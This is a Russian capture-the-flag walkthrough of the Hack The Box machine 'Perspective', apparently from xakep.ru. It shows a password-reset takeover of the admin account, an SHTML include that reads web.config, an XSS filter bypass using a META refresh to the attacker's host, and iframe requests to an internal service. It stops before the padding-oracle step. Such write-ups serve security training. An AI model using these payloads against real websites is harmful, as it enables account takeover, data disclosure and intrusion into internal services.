HTB Perspective. Обходим XSS-фильтры и атакуем шифр через Padding Oracle

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • XSS
  • Продвижение
  • Локальное повышение привилегий
  • Padding Oracle

Се­год­ня я покажу, как повысить при­виле­гии в сис­теме с помощью ата­ки Padding Oracle. На пути к ней мы ата­куем механизм сме­ны пароля на сай­те, обой­дем XSS-филь­тры и исполь­зуем уяз­вимость в механиз­ме сери­али­зации дан­ных.

Про­ходить будем «безум­ный» по слож­ности тре­ниро­воч­ный стенд Perspective с пло­щад­ки Hack The Box.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts, что­бы было удоб­нее обра­щать­ся к ней:

10.10.11.151 perspective.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Скрипт нашел два откры­тых пор­та: 22 — служ­ба OpenSSH for Windows и 80 — веб‑сер­вер Microsoft IIS 10.0. Кро­ме как с веб‑сер­вером, работать пока не с чем.

Глав­ная стра­ница сай­та perspective.htb 

Точка входа

На сай­те мож­но зарегис­три­ровать­ся и авто­ризо­вать­ся. Сра­зу сде­лаем это, так как зарегис­три­рован­ным поль­зовате­лям дос­тупно боль­ше фун­кций, а зна­чит, будет боль­ше мест для тес­тирова­ния.

Глав­ная стра­ница зарегис­три­рован­ного поль­зовате­ля

На сай­те есть воз­можность соз­давать и прос­матри­вать про­дук­ты. Но что более инте­рес­но, мы находим поч­товый адрес адми­на, а так­же воз­можность сбра­сывать пароль.

Фор­ма сбро­са пароля

Пос­ле вво­да поч­тового адре­са нам зада­ют воп­росы, отве­ты на которые мы ука­зыва­ли при регис­тра­ции. При­чем, если мы ука­зыва­ем поч­товый адрес адми­на, вмес­то воп­росов отоб­ража­ется сооб­щение о том, что сброс пароля адми­нис­тра­тора не вклю­чает сек­ретные воп­росы и про­цеду­ра недос­тупна.

Фор­ма с сек­ретны­ми воп­росами

Но если перех­ватить зап­рос на сброс пароля пос­ле отве­та на воп­росы, мож­но уви­деть, что, помимо про­чего, на сер­вер переда­ется и поч­товый адрес.

Пе­рех­вачен­ный зап­рос на сброс пароля

Я изме­нил свой поч­товый адрес на [email protected] и все рав­но получил новую фор­му, в которой нуж­но ука­зать новый пароль. Мало того, пароль мож­но уста­новить!

Фор­ма вво­да нового пароля

Со­обще­ние об успешном изме­нении пароля

Ав­торизу­емся от име­ни адми­на и получа­ем дос­туп к админ­ской панели.

Глав­ная стра­ница адми­нис­тра­тора 

Точка опоры

Ад­мин может смот­реть про­дук­ты дру­гих поль­зовате­лей, для это­го дос­таточ­но ука­зать имя поль­зовате­ля или поч­товый адрес.

Про­дук­ты поль­зовате­ля

Вдо­бавок к это­му мож­но ска­чать PDF со спис­ком про­дук­тов. В нем все то же самое, что и на сай­те.

Сге­нери­рован­ный PDF-документ

Тог­да перей­дем обратно к соз­данно­му акка­унту и поп­робу­ем добавить про­дукт. Для про­дук­та мож­но ука­зать изоб­ражение — это очень инте­рес­ный момент, так как это изоб­ражение (точ­нее, файл) будет встав­лен в PDF. Зна­чит, мож­но поп­робовать под­клю­чить файл SHTML, что при его вклю­чении в PDF поз­волит получить содер­жимое про­изволь­ного фай­ла с дис­ка. Давай соз­дадим SHTML, который заг­рузит файл кон­фигура­ций web.config:

<!--#include file="../web.config"-->

Па­нель добав­ления про­дук­та

Но при заг­рузке такого фай­ла сер­вер выдаст ошиб­ку — заг­ружать мож­но толь­ко изоб­ражение. Это мож­но обой­ти, если в Burp Proxy испра­вить содер­жимое HTTP-заголов­ка Content-Type обратно на image/jpeg.

Зап­рос на сер­вер в Burp Proxy

В Burp History обна­ружим зап­рос к SHTML и кон­фигура­ции в отве­те.

Зап­рос в Burp History

Из инте­рес­ного отме­чаем сер­вис на пор­те 8000, дос­тупный для локаль­ного хос­та, а так­же зашиф­рован­ный пароль.

Со­дер­жимое фай­ла web.config 

XSS

Так как есть про­межу­точ­ный сер­вис обра­бот­ки и пре­обра­зова­ния вве­ден­ных нами дан­ных, сле­дует поис­кать дру­гие уяз­вимос­ти, которые помогут эксфиль­тро­вать дан­ные с внут­ренне­го сер­вера на пор­те 8000. И натыка­емся на филь­тр XSS.

Со­обще­ние об обна­руже­нии вре­донос­ной активнос­ти

Так как исполь­зуют­ся филь­тры, сто­ит переб­рать воз­можные вари­анты наг­рузок. Это поможет най­ти наг­рузку, обхо­дящую филь­тры. Перех­ватыва­ем зап­рос в Burp Proxy и перенап­равля­ем в Burp Intruder (ком­бинация кла­виш Ctrl-I, Ctrl-Shift-I).

Burp Intruder — вклад­ка Positions

В опци­ях добавим параметр Grep — Extract и выберем опоз­наватель­ную стро­ку, которая будет сооб­щать об обна­ружен­ной ата­ке.

Burp Intruder — вклад­ка Options (параметр Grep — Extract)

Эта опция добавит в резуль­тат перебо­ра еще один стол­бец, который отоб­разит воз­вра­щен­ное сер­вером сооб­щение. Так мы быс­тро отфиль­тру­ем наг­рузки, которые обхо­дят филь­тр. Для перебо­ра я взял го­товый спи­сок с гит­хаба Payload Box.

Ре­зуль­тат перебо­ра наг­рузок

В резуль­тате находим немало вари­антов для экс­плу­ата­ции XSS. Оста­новим­ся на исполь­зовании тега meta:

<META HTTP-EQUIV="refresh" CONTENT="0;url=http://10.10.14.58:8000/test.html">

Эта наг­рузка дол­жна вклю­чить в отчет стра­ницу test.html с нашего сер­вера. Для тес­та откро­ем на локаль­ном хос­те порт 8000 и отпра­вим наг­рузку.

Про­вер­ка уяз­вимос­ти XSS

Ло­ги лис­тенера netcat

Зап­рос при­шел, а зна­чит, сер­вис уяз­вим!

 

Продвижение

Те­перь перей­дем к содер­жимому под­клю­чаемо­го фай­ла. В нашем HTML-фай­ле будем исполь­зовать тег iframe для заг­рузки и отоб­ражения сер­виса на пор­те 8000.

<iframe src="http://localhost:8000/"></iframe>

Ге­нери­руем PDF и видим в нем нуж­ную нам стра­ницу.

Сге­нери­рован­ный PDF-файл

Стра­ница пол­ностью не помес­тилась во фрейм, поэто­му зададим ему раз­меры.

<iframe src="http://localhost:8000/" height="2500px" width="2500px"></iframe>

Сге­нери­рован­ный PDF-файл

Те­перь можем разоб­рать содер­жимое стра­ницы. Видим фун­кции encrypt и decrypt, а так­же ссыл­ку на скрипт. Прос­мотрим код ука­зан­ного JS-фай­ла.

<iframe src="http://localhost:8000/swagger/v1/swagger.json" height="2000px" width="2000px"></iframe>

Со­дер­жимое стра­ницы swagger.json

При обра­щении к стра­нице decrypt нуж­но пре­дос­тавить параметр cipherTextRaw. Теперь мы можем поп­робовать рас­шифро­вать получен­ный из фай­ла web.config параметр ViewStateUserKey.

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *